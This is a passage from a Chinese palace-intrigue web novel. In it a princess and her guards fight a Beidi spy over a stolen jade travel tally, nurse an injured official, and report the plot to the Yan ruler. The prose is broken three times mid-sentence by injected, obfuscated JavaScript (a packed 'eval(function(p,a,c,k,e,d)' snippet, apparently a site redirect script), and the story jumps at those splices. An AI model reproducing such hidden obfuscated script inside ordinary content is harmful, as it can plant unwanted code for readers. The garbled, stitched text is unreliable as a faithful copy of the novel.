朝颜放慢脚步,与他肩并着肩同行了小段路,眸光始终目视着前方,开口道:“眼下是什么时辰了?” 羽堇知道她在问自己,故而答话:“殿下,已是戌时两刻。” 两刻了!戌时三刻马上就要到了。 见状朝颜打了个激灵,脚下步子加快,语气催促道:“来不及了,不去寻娄卿旻了,先去王酉铭府上!” 她走到一半才发觉自己这两条腿的比不上四条腿快,瞥向身后跟来的黑衣少年,道:“你的马在何处?” 羽堇闻言立刻迈步到她身前,带她穿过喧闹人群,去到一处暗巷里的隐秘院落后方。 先前见过的那匹红棕马被拴在木桩上,黑溜溜的大眼被空中月光照得透亮,朝颜没耽误时间,一个翻身便爬了上去。坐直身子后,垂头看着站在地下发愣的羽堇,下颌微抬,示意他上马。 谁知羽堇摇摇头,一脸难为情,“殿下,这不妥。” 朝颜秀眉蹙在一起,她不想把时间浪费在解释所谓的礼节上,忙弯腰拉了他的手臂一把,不耐烦道:“情况紧急,我都不在意你还在磨蹭什么?快些上来,再晚一步恐会酿成大祸!” “快啊!” 羽堇未加防备,被扯了一个踉跄,他不知朝颜如此心急如焚找娄卿旻要作何,但最终还是跃到马背上。寒凉的夜里,温暖的体温顺着衣衫隐隐透过来,凉风一吹,发丝间芬芳沁香直入鼻尖,一种旎旖的氛围油然而生。 羽堇有意向后移了几分,努力控制着二人的间距。朝颜他身前坐着,便也没看到他那渐渐泛红的耳畔。 马儿受人操控,直挺挺向前走,羽堇用力扯住缰绳准备加速前行。 夜色如墨,骏马上一黑一红两道身影紧贴在一处,策马奔腾在无人的田间小路上,羽堇驾马速度够快,他们只用了半盏茶的功夫便抵达王府后院。 此刻王府静悄悄的,没有一丝波澜,但朝颜知晓这是暴风雨前的宁静。 朝颜道:“你在此处守着。” 见人一脸茫然不知所以的表情,她反应过来,张嘴解释:“十廿又回来了!有人与我说他正在打符节的主意,且约定好今日戌时三刻在此处与王酉铭做交易,你也知晓手持符节便可随意出入城池,事关燕国安宁,我们要阻止他,不能让他将符节拿走!” “你守好此处,若发现任何不妥,立刻将其拿下。” 看着朝颜越走越远的背影,羽堇唤着她,追问:“殿下,你去哪?”他脑子里时刻谨记着太子殿下所言,护住公主安危才是最要紧之事。 话毕朝颜转过身,蓦地瞥见羽堇身侧悬着的剑,有些茅塞顿开,弯腰垂首在一旁散落的杂物中寻了个便利的木棍当武器,才接话:“我去前门守着,你在后门,要记住,千万不能让他跑了!” 羽堇眸中闪过一抹担心忧虑,不过片刻消散,他点头应下:“是,殿下注意安全。” * 刚入了夜,十廿便潜入王酉铭的府邸,见他还是如往日一般跪在祠堂排位之下,心中不免腹诽起来。 因粗盐之事,他与眼前这个男人打过无数次交道。 此人性格刚硬,骨子里散发着浓郁的决不认输之气,纵使低头也是他权衡利弊之后做的决定。他心思缜密善于发现破绽,是不会久居人下的硬茬。 从他从前种种话语间不难推断出他对燕国国君的不满。 毕竟从古至今还从未有君主会为了一个女子将自己的国土双手奉上。 在外人眼里,王酉铭冷漠至极不顾百姓安危,是个罪大恶极之人。 实则他也是在为燕国的未来考虑,久居人下的他心虽坚硬但也有恐惧。 他怕某一日燕国与华纪之间的关系断裂,便提前向邻国普桑抛枝,利益互换寻求退路,只不过误打误撞遇到自己了。 在这世上不论任何事都有阴阳两面,得到就会失去,谁都不可能全权兼顾。所以在王酉铭的立场,他限制百姓使用木炭是为了燕国的退路,实属无奈又不得不做。 但谁人不知燕融在中原可是出了名的仁义爱民,失去王酉铭这个左膀右臂他心中定有不舍,却也不能不顾民心。 所以眼下只是小惩,并未动真格。 毕竟钱财身外之物,失去可以再挣,若是命都没了那才是彻底输了。 十廿冷漠又无奈地扫了他一眼,心道真真可怜。 至少在自己这儿,他是可怜的,毕竟他不知自己是北狄的人。来日若是知晓此事,定会气得晕过去,但那也没办法,他有他的职责,自己也有自己的使命,那些因战受伤的北狄人才是自己真正要关心的。 眼下最重要的就是拿到符节,带人潜入燕国,暗地转移粗盐与粮食。 戌时三刻一到,跪在地下的男人骤然睁开双眼。 十廿迈步上前,与王酉铭对视一眼,而后王酉铭起身在前方带路,走到书房门口,带人进了室内,将十廿留在屏风前,道:“在此稍等片刻。” 不多时他便出来了,手中拿着那块官员专属玉符节,立在十廿身前,面上带着不可一世的威严,语气凌厉:“符节可以给你,但你必须答应我一个条件。” 此物是贵重之物,不仅可代表官员的身份随意进出城池,更能带队伍入城。这是普通平民人不曾有的待遇,亦是王酉铭曾经辉煌过的资本,他自然要谨慎再谨慎。 王酉铭如此高高在上模样,十廿内心虽有不悦,但他面上未表现出来,眼下只差一步便要成功,自然要装作十分尊敬,多忍耐些,而后他垂头微笑着说:“王大人请讲。” “万不可伤害燕国任何一条性命。” 雷池不可越,王酉铭自认不是好人,但他也有自己做人的底线。 闻言十廿眼中闪过一抹微不可察的戏谑,这条件并不难,更何况眼下大王并没有想夺燕之意,燕国人们暂时不会有事,他横眉一挑,道:“好,我答应你。” 说罢他迅速从王酉铭手上拿过符节,便一刻不耽误转身出了门。 寒风呼啸而过,月色朦胧,十廿行至院中停了片刻,鼻上忽然多出一抹凉意,十廿伸手摸到些许湿润。他抬眸,空中飘下细碎的雪花,纷纷扬扬落在地上,迎着月光闪烁明灭,只一瞬便化为水滴渗入地缝中。 他灵光一闪,忽的想起一句话:瑞雪兆丰年。 不过这样平静祥和的日子应该没多久了,且行且珍惜。 十廿顺着自己来时的路向王府后院走去,刚出府门他便察觉到身后树杈上一抹异动,他打起十二分精神环顾四周,后抬手放置舌尖下,吹了个响亮的手哨,寂静之夜,声音响彻天际。 就在这时,阴风四起,一道黑影骤然降落在眼前,衣袍随风舞动,发冠下的黑丝亦被吹到半空,那人寸步不移,挡住他前行的路。 十廿嗅到一丝危险,来者不善,还是个轻功极好的男子,见状脸色刹时冷下来,双眸紧紧锁住对面男子,警惕地开口:“你是何人?” 隐在暗夜中的羽堇此时面无表情,也没开口理人,径自拔出身侧长剑,指向十廿的方向,道:“今日你走不了!” 皎洁月色下,泛白的银光闪过十廿的双眼,几片细碎雪花顺着脖颈滑入衣襟,十廿身子不受控地抖了一下,怒气横生,当即拔了刀朝对面砍去。场面混乱,十廿余光瞥见自己的手下宛七到来,忙哄骗羽堇入圈套,夹在二人中间。 哪知羽堇也十分警惕,退到他们侧方位,三人就这样兵刃相交纠缠在一处。 若单打独斗,羽堇武功确实是在十廿之上,但眼下二对一,一时分不出胜负,羽堇甚至有些落了下风。 后院突如其来的哨声将神游中的朝颜唤醒,随之又传过刀剑相交的打斗声,她便知自己没赌错,她猜到十廿会走后门,故而让羽堇在此拖延时间,反之若是自己,则会让贼人轻而易举地逃脱。 她一路快步跑来,见三人激烈缠在一起,快要分不清敌我。她将木棍举在身前,故意大声喊叫转移十廿的注意力:“十廿!你们跑不掉了!快快束手就擒,将你手上的符节全部交出来!若不然,有你好果子吃!” 果不其然,十廿闻声身形一滞。 羽堇抓住其愣神的时机立马朝他肩颈处划去,衣襟开了口子,血顺流而下,疼痛不止,他不得已转身退出战斗,只余宛七与羽堇对打。 他捂着伤口躲在远处,侧头看了远处伫立的女子一眼,几乎是瞬间便认出女子那张姣好的面庞,他面目狰狞,眼底泛起红血丝,语气咬牙切齿道:“又是你!” “上次你坏我好事,正愁没地方找你,如今你倒好,自己送上门了?” 十廿气急败坏,黑瞳在羽堇与朝颜身上扫视一番后,仿佛什么都懂了,冷笑一声:“怎么,以为多了一个帮手便能拿下我了?痴人说梦!” “既然你来了,那便新仇旧恨一起报!”话毕他不顾肩上伤口撕裂,转而抬手挥舞起大刀朝女子所在的方向跑去,刀刃夹着雪花,寸寸冷冽,带着一种势如破竹的气势,不过片刻便移到朝颜身前。 利刃直逼眼底,朝颜面色凝重,向后退了几步拉开距离,大刀落空,去而又返之时,朝颜脑中闪过昔日与娄卿旻练武的姿势,柔韧的身形向下一弯,又躲过了十廿的进攻。 她举起木棍迎面与大刀针锋相对,奈何硬木抵不过利刃,木棍还是被削出个口子。 二人僵持在原地,朝颜死死盯着被锐刀砍出的那块缺口,眼神丝毫不惧,继而直视十廿,厉声道:“你究竟是在为普桑的谁卖命?你可知我的身份?你若敢伤了我,普桑国太子与华纪国君都不会放过你!” 话音刚落,十廿还未答话便发觉身后有抹浓郁的杀气正朝他袭来,回眸一看,竟是方才那个男人。 长剑快要抵达胸前,他迅速飞身躲开男子的进攻,转头寻找宛七,才见他已经被打趴在地,白学也被染成了色,十廿皱起眉头,心口一阵酸闷,忙持刀退到宛七身侧,见人还有一口气,他便转至院墙处讽刺勾唇,半眯着眼紧盯朝颜。 击退十廿,羽堇焦急的目光落在少女身上,四处查看一番见人没受伤,心这才安定下来。 十廿立在远处,忆起方才对打的画面,他才发觉眼前这女子与上次所见已大不相同,实在是令人难以信服。不过片刻,他便不屑一顾道:“想不到短短几月不见,你居然会了这三脚猫的功夫,不过也是以卵击石罢了。” 他指向羽堇,眼底嘲讽,“若没了这个男子,你今日注定要葬身于此!” 朝颜亦是不惧,接下话:“是么?” 只可惜,她不会傻到孤身涉险。 一侧的羽堇闻言,冷眼瞥了十廿一眼,眸中带着不加掩饰的嫌恶,道:“殿下,少与他废话!” 真正的强者向来不会浪费时间说虚话,因为他们知晓只有强硬的实力才能将人打服。 先前十廿拿朝颜当人质将人伤到,羽堇原本就怀恨在心,眼下又见此人仍对朝颜一个弱女子紧追不放,他打心底看不起,亦不想听此人多说废话。 羽堇紧追不放飞身过去,二人又厮打在一处,两道黑色身影混杂,衣袍随风雪飘舞,彼此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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暮商暮均二人策马奔腾姗姗来迟,见娄卿旻被伤,暮商顿时怒气冲天,巡视一圈后看到远处虚弱的男人,挥剑朝他而去,男人已经耗干了全身力气,此刻就是一只待宰的羔羊,不曾反抗,任由长剑刺穿胸膛,嘴角溢出更多鲜血,直直倒地。 而此刻暮均也已进入羽堇与十廿的战斗中。 解决了宛七,暮商跑回娄卿旻身侧,从朝颜手中接过自家大人。 “你快救救他!”朝颜惊慌失措地对暮商大喊,而后猛然想起一件最要紧之事,将娄卿旻转到暮商手上后她起身向打斗处走去,急促的眸光在十廿身上翻来覆去搜寻许久,终于见到那块宝贵之物,她大声喊道:“羽堇!符节在他腰间!” 说时迟那时快,羽堇朝十廿脖颈处砍去,暮均紧接着对十廿的腰部来了个无影腿,那块符节无人庇护,绳索断裂,应声落地。 羽堇去捡符节时,换作暮均与十廿对打。 眼下十廿已被耗空力气,变得不堪一击,不到一个回合腹部与手臂便连中两剑,此刻的他已是衣衫褴褛,千疮百孔。不过纵使伤口再疼,他的手也始终握紧大刀, 宛七的脸贴在地面,唇边血迹与泥泞白雪混杂在一处,他手指死死掐着地面冰雪,努力想站起身,才发现自己濒临断气,全身上下无一能受自己控制。 他眼球转到一方,紧盯满身是伤的十廿,见他几乎拼了命在打,无声启唇,沙哑声从嗓间断断续续传出:“宛廿,不可……恋战!快、走……快走啊!” 十廿听到宛七虚弱的声音,骤然没了心气,他躲过二人的对打,退到一侧大呼一声:“你们不能杀我!” 话音落,暮均与羽堇收了剑立在原地。 十廿看着娄卿旻,道:“他所中之毒乃我族最厉害的雷公藤,若是半个时辰之内不解,不超三日便会七窍流血暴毙而亡!” 知道自己已无力反抗,他只能放手一搏。 听到这话,暮均跃到十廿身后,挥剑抵在他脖颈处,言语冷漠:“交出解药,还能考虑留你全尸!” 刀尖已划破皮肤血顺流而下,此刻杀死十廿仿佛捏死只蚂蚁般简单。 十廿偏过头,迎面对上暮均的眼神,面上尽是不服气。 他知道自己不能死在这儿,而后动作极其缓慢地将手伸向腰腹处,从中掏出小瓷瓶后远远甩出去,暮均见状手下动作又硬了几分,“别想耍花招!把你身上所有解药全部交出来!” 十廿垂眸,窸窣一掏,身上所有的瓶瓶罐罐都放在身下,他故意朝最远处看去,道了声那个是真正解药。 暮均便撇下他直奔解药而去,十廿也趁机后退几步跃到高墙之上,逃过这次劫难。 他盯着宛七的尸体,目光满含怒气,眼下不能为其收尸,他心中的恨肆意而生不知不觉蔓延了整个身体,冷风灌入全身,他浑身一激灵,强压着伤口向外溢出的血,抬手擦拭面上污渍,手已经冻得僵硬麻木,他转身,眼神转至朝颜身上,恶狠狠道:“你们给我等着!我迟早要向你们报今日之仇!” 羽堇能看出暮均是故意放水。 心中暗道不知这几个人葫芦里卖的什么药。 取完药后的暮均本想去追,被暮商出声拦下了。 朝颜接过羽堇递来的符节好好塞进衣袖中保管后,又跑到男人身侧,见暮商往他口中送了一粒丹药后,男人便不再大口吐血,她暂时安心,跪在他身侧关心道:“娄卿旻,你怎么样了?” 娄卿旻动了动眼皮,答道:“我无事。” 他不想看朝颜再出什么差池,虚弱地抬眼,眸光落到暮商身上,道:“暮商,先把公主送回宫!” “不,我不回去。”朝颜果断拒绝,娄卿旻还未脱离危险,她自是不能自己躲到一旁逍遥自在。 虽是止住了吐血,但他身前那道狰狞的伤口处还在不停向外渗血,血迹乌黑,皮肉绽开,朝颜见状心口一紧,建议道:“眼下应抓紧时间给你家大人治伤,我不着急回去!” 暮均暮商二人相视一眼,不约而同道:“谢殿下!” 朝颜盯着昏迷过去的娄卿旻,口中缓缓呼出一口气,鼻尖已被冻得泛红,轻声道:“是我应谢你们。” 若不是他们来得快,自己早已没了命。 47. 卷土重来(十) 鹅毛大雪将月色衬得若隐若现,寒风冰冷刺骨,转眼间落雪已将青石板覆盖厚厚一层。 伤口灌入冷风,娄卿旻倒吸一口气后疼得晕了过去,几人不再拖延时间。 暮商将娄卿旻拖上马背,朝颜羽堇二人共乘一骑,暮均则拖着那具尸体离开此地。 娄卿旻手下暗卫彼此经常会用一些暗号来传达消息,待他们回到客舍时,医者已候在床榻边。 将奄奄一息的人放置榻上后,朝颜便自行出了房门,跟羽堇一起等。 暮商当着朝颜的面进进出出,换了好几盆水,见乌黑的血迹逐渐转清,朝颜那颗被吊着的心也慢慢放松。 不多时,医者终于出了门。 暮商接过医者递来的药方,恭敬地送他下楼。朝颜无意间听见医者嘱咐男子的话语:“那银镖恰好伤及肺腑,需好好调养,若不然日后会落下病根。” 听到这句话的朝颜彻底怔在原地,气都不敢喘。 没想到娄卿旻竟伤到肺了,难怪当时他呼了一口气便开始吐血。 她内心刹时燃起一抹深深的愧疚。 此次娄卿旻全是因为救她才会受伤,若是真落下什么治不好的毛病,她根本无法偿还。 先前逃婚时他帮自己隐瞒行踪,也曾答应会满足他一个心愿,如今还未还清,怕是又要再多一条了。此刻她也不好再去追究他隐瞒兄长与十廿之事,只盼着他能身体康健,快快好起来,也别落下什么病根,否则这辈子她心里都过意不去。 繁杂的思绪散去,朝颜复盘起今夜之事,他们虽从十廿手中夺过玉符节,但他手上必定还有一枚,若不然也无法进城,眼下应上报国君让他加派人手在廓州城外排查每个入城之人,才能确保万无一失。 朝颜还有些担心,想看看里面是何情况,便吩咐一旁的羽堇在门外候着,自己推门而入。 前脚刚踏进去便闻到一股浓郁的血腥气,其中掺杂着淡淡的药味,朝颜皱了皱眉,眼神寻着人,向前迈进。 屋内静悄悄的,木榻的床幔被放下一半,遮住男人半个身影。她缓缓走上前掀开一角床幔,便见到气若游丝的娄卿旻。 原本神采奕奕的男人此刻双眸紧闭,面色苍白无力,薄唇皲裂还泛着淡淡的黑,只一身单薄的亵衣被包裹在棉被中,瘦弱不堪,像是经历了莫大的苦难才勉强存活,任谁看过都会产生怜悯之心。 面前的场景似曾相识,让朝颜不禁回忆起二人初见时。 他也是中毒受伤,奄奄一息躺在榻上。 她依稀记得,前世的娄卿旻从未经历过如此多的磨难。 而如今,他似乎成了她兄妹二人的盾牌。 先前是替兄长受伤,今日又帮她挡了一下,两条命的恩情她又该如何还他? 屋内炭火烧得很旺,暖意自脚底而生,她静默地盯着榻上人看,过了大约一刻钟,娄卿旻情况好转,面色慢慢地红润起来。 他幽幽睁眼,见朝颜守在他身侧,眸中闪过一丝微不可察的惊诧,轻轻唤了声“殿下”。 见他苏醒,朝颜面上一喜,忙跑去桌案边倒了杯水,又快步回来递到人唇边。她就这样自然而然地喂他,也没想太多。 娄卿旻有些受宠若惊,毕竟朝颜是他的君主又是女子,于情于理都不合适,他本想自己来,但失血过多导致他浑身没有半分力气,手臂抬到一半便没了力气,最后只能就着朝颜递过来的杯子抿了几口水。 许是刚醒,嗓子有些干涸,他还是不忘正事,轻轻咳了几声,忍着喉咙中要涌出的那抹甜腥,认真看向朝颜道:“殿下若得了空,去见燕国国君一面,将今夜之事悉数告知,十廿受伤,他不会善罢甘休,北狄或许也会借此机会倒打一耙。” 话毕朝颜疑惑了,有些不明白他话中含义,即刻便反问:“北狄人?十廿是北狄之人?” 娄卿旻艰难地点点头,“上次抓他入狱时我便发现了,咳咳……他所持匕首上的玛瑙石是北狄最贵重的一种宝石,只在贵族间流通。今夜死去的那人貌似唤他宛廿,……咳咳……若、若不出意外,他应是北狄两大家族中的宛氏一族。” 听他咳嗽十分难受,朝颜便又喂了他几口水,让其停下歇歇嗓子。 而后自顾自地将茶杯放回桌案上。 北狄宛氏,朝颜想着这几个字出神。 她不明白北狄人为何要化为普桑人的身份来此哄骗。 北狄远在草原,向来自傲又野蛮,照理说不会伪装身份。但十廿确确实实被人唤作宛廿,他们究竟想做什么?难不成是想破坏燕国与普桑之间的和平? 娄卿旻又接着解释起来,此次专程放慢了语速:“前段时日华纪与山匪交战害得战神太子失踪,北狄见我们注意力都在寻太子上面,无暇估计其他,便想要神不知鬼不觉地将粗盐转走,若不是臣发现异常,他们便会一直合作,北狄便能不断以低价获取粗盐,长此以往下去,华纪的盐与钱都只减不增。他向王酉铭索要符节恐怕也是计划着假扮别国商队入城,在城中与人里应外合。” 听完他的解释,朝颜豁然开朗。 当今世上这几个大国无人不知粗盐的提炼十分困难,乃珍贵之物,定价极高。 因此物宝贵,华纪便主要供中原享用,也不曾与北狄签过互惠互利的契约。 所以他们便使一些上不得台面的方法来骗取粗盐。 王堃等人是被利益熏心才被哄骗着做了那样的蠢事。但王酉铭呢,他明明知晓粗盐的重要性,还是决定帮他们做出有损华纪利益之事,甚至不惜那燕国做赌注,他究竟是怎么想的? 又或者说他也不知晓宛廿是北狄之人,他真正想帮的是普桑? 不过他帮普桑是为了什么?朝颜自认华纪从未亏待过燕国众人。 想知道答案,怕是只能亲自问他。 朝颜沉默着将所有事情串联在一处才明白娄卿旻的良苦用心,继而道:“所以你便向华纪传假信,故意放出寻到兄长的消息,目的也是为了震慑别国,暂时拖延时间?” “没错。”娄卿旻下意识接话,后反应过来又觉得不对劲,他眼神闪烁,颇为心虚,用尽力气坐了起来,试探朝颜,“殿下已知晓一切了?” 假传太子消息,哄骗她,欺瞒国君,糊弄百姓。 只因消息是众人最最敬仰的少傅大人传出的,所以无一人会怀疑,只要他不说,众人便以为太子还活着。 这样一来能震慑敌军,二来可安抚人心,他也算是一举两得。 但天下没有不透风的墙,事情是假的,便总会有露出破绽,败露的那日。 譬如朝颜,因为羽堇,提前看破他的布局。 二人已敞开心扉,朝颜不想编造什么借口,便直接道:“前段时日羽堇奉我之命外出寻找兄长踪迹时,亲眼见过你,也看到了那座衣冠冢。” 至于是在哪儿见过,何时见过,不必再一五一十地道来,娄卿旻也已全然明白。 一席话毕,两人都不再言语,室内寂静良久,呼吸声都能听得一清二楚。 娄卿旻欺瞒在先,如今被当面戳穿,已经是满面羞惭,他心中早做好被朝颜冷嘲热讽或是臭骂一顿的准备,但等了许久她都没有下文。 等待过程实在煎熬,他无法忍受,刚想开口,朝颜有了声音。 “今夜之事我会去向燕融禀明,说无意撞破刺客在王府携符节逃窜而被追杀,幸得大人相救,而大人您在抢夺符节途中被暗箭所伤需要修养,不便见客。” 方才沉默的时段她早已想好措词,顺带把功劳推到娄卿旻身上,待日后有何变动时,燕融也会看在娄卿旻立下大功的面子上,对他宽厚一些。 朝颜自是没错过男人面上一闪而过的担心,知道他或许是害怕燕融对此事存疑再亲自调查十廿假死之事,到时会牵扯更多麻烦。 于是她扯着唇笑了笑,安慰他:“你也不必太过忧虑,我不会说出是十廿,我只说见了北狄人的配饰,怀疑是北狄,燕融除了相信也别无他法。” 毕竟证人只有他们几个,就算是燕融想不通亲自去调查,也查不出其他。 先前姜家之事让燕融深得民心后,她在燕国的处境比刚入燕时好了许多,她在燕融面前的可信度也高了不少。 娄卿旻点头接受:“好,那我派人随殿下同去,护你周全。” 虽然解决了宛廿,但眼下王酉铭还在,他们不得不防。 朝颜却是摇头道:“有羽堇在,我不会有事的,大人这段时日务必要安心养伤,兄长已经不在了,华纪日后还需要您的照拂。” 闻言,娄卿旻朝外看去,见到门上倒映出的挺拔身影。 他眼底有些晦暗不明,也没答话。 * 暮商抓完药后便着急忙慌地跑到后厨煎药,暮均办完事回来了,他也煎好了药,正端着进门。 朝颜向外走着,恰好与他二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此刻握在手中这块的背后有一道细小划痕,正是他当年所赠给王酉铭的那一块。 一切证据摆在眼前,燕融不得不信。 他眉头紧锁,五指死死握住玉符节,指节泛白,力气大得像是要将其捏碎。凌冽的目光盯着符节看了又看,倏而落在朝颜身上,难以置信地又问了一遍:“你的意思是说,王酉铭私自将符节赠与北狄贼人,欲图谋反?” 朝颜点头应下,“国君,眼下最重要的是,您得尽快派兵驻守城门仔细排查来往之人,以免漏网之鱼混入城中对燕国不利!” 见她都已将事件的解决法子都摆在眼前,燕融也不再过多思虑,无奈地闭了闭眼睫,下令道:“好……依你说的办!” “据外臣所知,北狄人的后脖颈上好似有一处极小的灰色暗记,穿戴用度也与中原不同。” 这是走之前娄卿旻告诉她的,如此明显的信息她自是不能不用,眼下便说了出来。 燕融听完这话一挥手,身侧禁军便快步上前,恭敬弯腰,燕融丢给他一片缣帛,道:“你速速将朝颜公主说出的所有特征记下,与司寇大人一一禀明,让他查得仔细些!万不可放过任何嫌疑之人!” “是。” 某个方面来说燕融也算是仁君,至少他会认真听下臣言语并实施。 朝颜视线冷冷划过玉符节,眼中浮现出那个人的虚假面孔,于是大胆追问:“国君,敢问罪臣王酉铭您要如何处置?” 燕融理清事情的前因后果,想起朝颜方才所言,才道:“你方才是说,他勾结北狄之人一事是他的亲女王凝与你说的?” 朝颜沉吟片刻,道了句是。 燕融便接话:“王酉铭故意勾结外邦想置燕国于死地,实属死罪,倘若没被你发现,燕国便会彻底万劫不复。王凝也算是替父将功赎罪,好在未酿出大祸,念在王酉铭乃先前功臣的份上,孤不杀他,但死罪可免活罪难逃。” 他掀起衣袍坐回上座,言语犀利而冷漠,对一侧宦臣道:“传我王令,王酉铭私通外敌欲叛国,将其贬为庶人永不再用。孤赏罚分明,亦公平公正,念在他亲女大义灭亲主动上报的份上,孤便赐她万两黄金,给她一间住处以保余生,免得那些百姓私下说孤不近人情忘恩负义。” 王酉铭经先前木炭之事,本就一无所有,如此惩治也算是最好的办法。 既能杀鸡儆猴,震慑众人,也让燕融在百姓口中的名声好上加好。 除去他,此后便再也无人能够陷害舅父二人,朝颜内心也算满意,随口接了一句虚溜拍马的话,“国君此举圣明!” 至于王酉铭真正想如何,不必知晓,也不重要。只要他失去权钱,便也无法驱使旁人帮他做那些伤天害理之事。 而王氏那些见利忘义之人,见王酉铭被贬应避之不及,更不会接济他。 48. 纷争又起(一) 两日之后,辰时用过早膳,朝颜便带着燕融的大堆封赏代替他去探访娄卿旻。听羽堇说昨夜里他便已恢复成生龙活虎的模样,也能自行下榻,来去自如了。 朝颜打心里替他高兴,赶到客舍后,她跳下马车便一溜烟地往二楼去。 行至门前,便见男子独身坐在案前,他穿着一袭厚实的灰白锦袍,脖颈处披着雪白的云肩,身上散发着一缕病弱公子的气质,还有些些破碎感。 不知怎地,朝颜总觉的受伤后的娄卿旻比平日里那个拒人千里之外的他让人想怜惜,想亲近。眼前人此刻就像是她年幼时养过的孱弱小猫,忍不住想摸一摸。 但她也只限于想,毕竟娄卿旻与小猫是不一样的,他与刺猬类似,有尖锐的刺,会扎人。 仔细看去,他确实比那日要好很多。 那双好看的眉眼垂着,极其认真地盯在画布上,提笔落笔的动作也优雅至极,不骄不躁,貌似在临摹什么。 见人如此沉浸,她不忍出声打搅,屏息凝神放慢脚步,慢慢移进门。 时间悠悠而过,骄阳不知不觉升到高空,金色微光如细丝般穿过云层洒在屋檐上,其中几缕又透过窗缝传入室内。 娄卿旻自卯时起到现在已经坐了许久,背部也被阳光晒得暖融融,额上冒出薄薄的汗。若不是手上的温度冰凉,他几乎快要以为此时是夏季。黑墨已经沾完,就在他微微抬头摸到磨盘准备研新墨时,忽然察觉前方不远处站了个人。 抬眼望去,少女沐浴在金光灿灿的暖阳下,浑身散发着神佛的光辉,温柔缱绻,姿态柔和。 二人视线对上后,她朝他盈盈一笑。 不说话时,那张艳丽的脸庞,状似桃花的水眸,静静注视着旁人,颇有一番魅惑滋味。 只一眼,一眼便可让人完全陷进去。 在娄卿旻的短暂愣神间,朝颜已笑着开口:“我见大人浑身朝气蓬勃,想必伤已经好得差不多了?” 话毕,男人慢条斯理地放下笔墨,起身朝她一拜,二人间又变得十分客气:“谢殿下关心,臣几乎痊愈。” 朝颜眉头微挑了下,心道如此甚好。 他能早些好,二人便也可以加快速度行事。 养伤这段期间,娄卿旻从暗卫口中也得知了朝颜所做之事。 燕融对王酉铭与王凝的赏罚结果,也在他的猜测中。 毕竟王酉铭先前也是有些实力的,他为燕国所做之事也不比姜贯少,这次罪行不至于赐死。贬为庶人没收所有财权珠宝,于那样受人供养的人来说,也算是最大的惩罚。 他思虑过后,想到朝颜,忽然道:“王酉铭之事已了结,燕国短时间内应不会再出风波,殿下是否准备动身回华纪?” 朝颜垂首,扬起的嘴角也落了下来,而后她自顾自地走到窗边打开窗棂向外看去,前几日下过那场鹅毛大雪后便恢复成朗朗白云,眼下燕国城池人来人往一片繁荣。 说起来入燕已经小半年了,经历过许多烦心之事,眼下解决了燕国最大的隐患王酉铭,一切恢复宁静,确实该动身回去了。 不过她一想到舅父二人,内心还有几分不舍。许久后才回了他一句不着边际的话:“少傅大人还真是时刻谨记自己的职责。” “殿下……” 朝颜不想听他催促,打断话道:“我明白的,我会尽快定下启程之日。” 话被打断,娄卿旻的面上浮现出一片无奈。 其实他想说的是,若她不愿回去,她可以再逗留些时日,多多享受一下宫外的恬静自由,毕竟回去之后便再无机会。哪知朝颜打断他的话,见人面上厌烦,他也没再继续扰她。 每每谈到华纪与和亲事宜,二人间又无话可说,娄卿旻正思考如何打破僵局时,少女冷不丁传出一句话: “想来大人也该回去了,兄长已经出事,华纪眼下确实需要人来把持军务。若你无法再替我隐瞒,那我便不叫你为难,不若待三日后我们便一同动身吧。” 说是一同回华纪,朝颜暗地却有自己的小算盘。她想着等到了安全之地摆脱燕融监视后,便随娄卿旻去见兄长。 纵使不能带他回家,远远地看上一眼也是好的。 朝颜怕娄卿旻拒绝,直接转移了话茬,“大人闷在屋里许久,可想出去走走?” 其实娄卿旻不太喜欢逛街,但今日不知为何,朝颜满含期待的目光让他不忍拒绝,便破天荒点头应下了。 二人随意装扮了几番,将扎眼的面容掩住后一起出了门。 新年将将过去,整座城池显然还弥漫着庆贺年关的欢愉之气。朝颜一路走走停停又来回观望,对周围一切都很感兴趣,娄卿旻便跟在她身后不远处,陪着她。 朝颜走了一路,发现许多新奇的东西。其中一个她最为好奇,几乎每家每户门口都摆着类似之物,她心血来潮,转头看向男人问了嘴:“这些是何物?” 男人顺着她目光所及之处望去,见每家每户门口摆着的桃符,上面刻着两个神态不一的人像。 片刻后他便为朝颜解惑:“神荼、郁垒。” 而后又慢慢道出口:“这是两位门神,放在门前可以压邪驱鬼,庇佑大家的安康。年年如此,华纪亦是。” “原来如此。” 就在这时,远处一大群孩童蜂拥而至,娄卿旻的目光还在桃符上,便没注意到他们正朝这边奔来,来不及闪躲,直接被他们撞了个措手不及。 男人踉跄着后退几步,袖中刹时掉出一串金红色的物件,落到二人中间,娄卿旻低头一看,瞳孔骤然紧缩,连忙弯腰去捡,不料一个纤细白嫩的手先他一步将那串东西捡起。 朝颜举到面前看了几眼,认出它是一串剑穗,脑袋里闪过零碎的熟悉片段,后疑惑道:“此物,有几分眼熟。” 娄卿旻道:“这是太子殿下留下的遗物。” 话毕,朝颜抬眸望了男人一眼。 而后又拿起剑穗又看了看,昔日与兄长打闹的往事浮现在眼前,原本干涸的眼眶唰地一下便红了,眼前逐渐蒙上一丝湿润雾气,她声音哽咽:“我想起来了。” “这是那年他生辰时我亲自做给他的,好似做了两个,当时他故意说难看不想要,本以为早就丢弃,不想他居然一直带在身上。” 朝颜有些恼。 这个口是心非的兄长。 明明喜欢得不得了,还故意骗她说难看。 那时候她躲着哭了整整一夜,但是朝饶不知道。 一侧的娄卿旻听完后,面上满是不可置信,他根本不知晓此事。 只记得那年他生辰时,太子送了他一串一模一样的剑穗,他自始至终都认为那是朝饶买的,哪里能猜出竟是朝颜亲手做的。 当时的朝饶亦是十分随意丢给他,说任他随意处置。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 